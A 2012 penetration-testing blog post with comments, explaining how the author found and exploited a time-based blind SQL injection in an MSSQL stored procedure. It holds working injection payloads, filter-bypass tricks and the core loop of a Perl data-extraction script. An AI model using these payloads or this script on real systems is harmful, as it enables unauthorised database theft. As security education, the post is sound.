Monday, March 12, 2012

Time Based Blind SQL Injection

I am not going to talk about Blind SQL injection since this is fully documented across different web sites, check References section at the end of this blog.

The reason I am writing this blog is for two main purposes:

1. Bug Hunting: To explain the process I followed to discover a "not-easy-to-find" vulnerability.

2. Exploit form scratch: To release a tool to extract data from the Data base via SQL Blind injection.


Bug Hunting:

When I put the famous single quote in front of the form I got the well known message:

Microsoft OLE DB Provider for SQL Server
error '80040e14'

Unclosed quotation mark before the character string '''.

Then, without any extra parsing to above error response, I started inserting the common ways of exploitation:
  • '+OR+'1'='1
  • '+OR+1=1--
  • '+having+1=1--
  • '+union (select 1 from table)--
  • etc
The first thing I noticed is that the spaces were being filtered but as explained in my previous SQLi post, you can easily bypass that by injecting a TAB (%09) instead of a space.

After bypassing the space restric
tion, I always got syntax errors like:


Incorrect syntax near the keyword 'OR'.

Incorrect syntax near the keyword 'having'.

Incorrect syntax near the keyword 'union'.

Which was telling me two things: first, my SQLi was being executed but with syntax errors and second that I was not in the common scenario where the injection is being placed after the WHERE clause:

select ..... where user='aa' OR 1=1

After a lot of testing without success, I just assumed I cannot inject any SQL command after the single quote, so, then I started inserting other chars like: ',' and... I got below error:

Procedure or function get_Etiqueta has too many arguments specified.

Then I realized we were dealing with a Stored Procedure which in fact was injectable, this could explain the restrictions and therefore the syntax error messages. Then I decide a new way of injection (below is the value inserted in the vulnerable POST parameter):

';<my_own_sql_query>;--

Above injection is saying, complete the current request, execute my own SQL command, and comment out the rest of the string.

When executed using fake table and field:

'; select xxx from table tabla'--

I did not get any error, just redirected back to main Login page. Then I realized we were not getting any responses from the DB and therefore in a Blind SQL Injection scenario, so I decided to use the famous WAITEFOR DELAY command from MSSQL to validate if my attempts were being executed in the server side, so I sent:

0';WAITFOR%09DELAY%09'0:0:15'

And voila!!! The browser waits 15 seconds to get the response from the Server!! Now we have identified the BUG, so, how can we exploit it? Let's go to the next section.

Exploit from Scratch.

I decided to use sqlmap or sqlninja to dump the database or to get a remote shell, but none works for me, just for one reason, those tools have their own methods to bypass filters, but unfortunately, the TAB (%09) trick is not handled by them and therefore all my injections were being rejected. It was a mess to adjust their tools so I decided to keep improving my own tools and come up with Regalado-blindSQL.pl perl script.

The main features of the tool are as follows:
  • Create a SQL procedure to assign the SQL query result to a variable.
  • The tool, iterates to each char from the result and compare it with the ASCII table to identify its value, if the value is found, the response will be delay by 10 seconds, this way the tool can identify if a char was identified.
  • Write output to a log file.
  • Implements netcat upload feature from Sqlninja tool, just changing the bypass technique and the Libraries used to established the SSL Connection.
Below the script to identify the chars in the response:

1. my $cmd = " declare \@s varchar(100) select TOP 1 \@s = $sql" .
2. " if (ascii(substring(\@s,$j,1))) =". $i ." waitfor delay '0:0:10' " .
3. " else waitfor delay '0:0:1'";

At Line 1, we create the variable @s and assign it the result of the $sql being executed.
At Line 2, the first char (denoted by $j) is subtracted from the string acquired and compare with the first value in the ASCII Table ($i).
This loops will repeat until the char is found and then $j will be incremented to move to the next char in the string.

The main loop to get the string, parse each char and compare it with ASCII TABLE is here:

while (length ($dato) > 0){ #Keep searching until no more data found
$dato ="";
for $j (1 .. 100){#This is the maximum text length to retrieve, although the tool knows when the string is complete
print "\t\nIdentificando char number: $j\n";
open (FILE,">>", "output.txt") or die $!; #Creating log file

for $i (32 .. 126){ #ASCII TABLE Printable chars only
$g = $i;
print "\t\nValidating if the letter exist: " . chr($i) . "\n";
my $cmd = " declare \@s varchar(100) select TOP 1 \@s = $sql" .
" if (ascii(substring(\@s,$j,1))) =". $i ." waitfor delay '0:0:10' " .
" else waitfor delay '0:0:1'";

send_request($prefix . $cmd . $postfix); #Send HTTPS request
if (check_time() eq "encontrado") { #validates the response to know if the car was detected.
last;
}
}

if ($r eq "encontrado"){
print "\t\nGetting Contenido ... " . $dato . "\n";
print FILE "Getting Contenido ...: " . $dato . "\n";
close(FILE);
}
else{ #No encontro ningun caracter y esto puede significr el fin de la palabra identificada

print "\t\n*********END OF CONTENT EXTRACTTION ... Moving to next one.\n";
last;
}
}
print "\t\n****************Content FOUND: " . $dato . " for table/field: $tb/$fi******************\n";
print FILE "\n****************Content FOUND: " . $dato . " for table/field: $tb/$fi****************\n";

$sql = $sql . " and $fi not like '". $dato . "'"; #preparing the next string to retrieve.
}
print "\t\nEND OF EXECUTION check output.txt log file.\n\n";

Finally, the tools is able to identify:
  • DB Name
  • DB User
  • DB Version
  • List of tables from current DB
  • List of fields from specific table
  • Content of tables
  • Upload netcat via sqlninja methods.
IMPORTANT: The tool DOES NOT FIND vulnerabilities, it assumes you already found one and need to leverage the exploitation. Being this said, you might need to change the $prefix and $postfix variables within the tool to adjust based on the way your application is exploitable.

References:
https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OWASP-DV-005%29

Please send me an email if you want a copy of the script.

7 comments:

  1. Hi.

    You should checkout "Its all about the timing" from BlackHat 2007 (https://www.blackhat.com/presentations/bh-usa-07/Meer_and_Slaviero/Whitepaper/bh-usa-07-meer_and_slaviero-WP.pdf)

    ReplyDelete
  2. Good information on SQLi and thanks MH for the link reference.

    ReplyDelete
  3. This is not true for sqlmap "the TAB (%09) trick is not handled by them and therefore all my injections were being rejected". There is a mechanism called tampering scripts (switch --tamper) and in your case you could just use --tamper=space2randomblank (take a look into ./sqlmap/tamper script for more tampering scripts beside this space2randomblank.py one)

    ReplyDelete
    Replies
    1. Thanks Miroslav for sharing this. Definitely I will check --tamper option. By the way, do you know if SQLNinja has something similar?

      Delete
  4. But if you have all whitespaces stripped out, then you can use /**/ instead of space (at least when MySQL is used).
    SELECT/**/some_id,some_field/**/FROM/**/some_table/**/WHERE/**/some_field=some_value

    ReplyDelete
    Replies
    1. That is true, but in this case it is MSSQL so the /**/ trick does not work. But good to know when dealing with MySQL. Thanks.

      Delete

Note: Only a member of this blog may post a comment.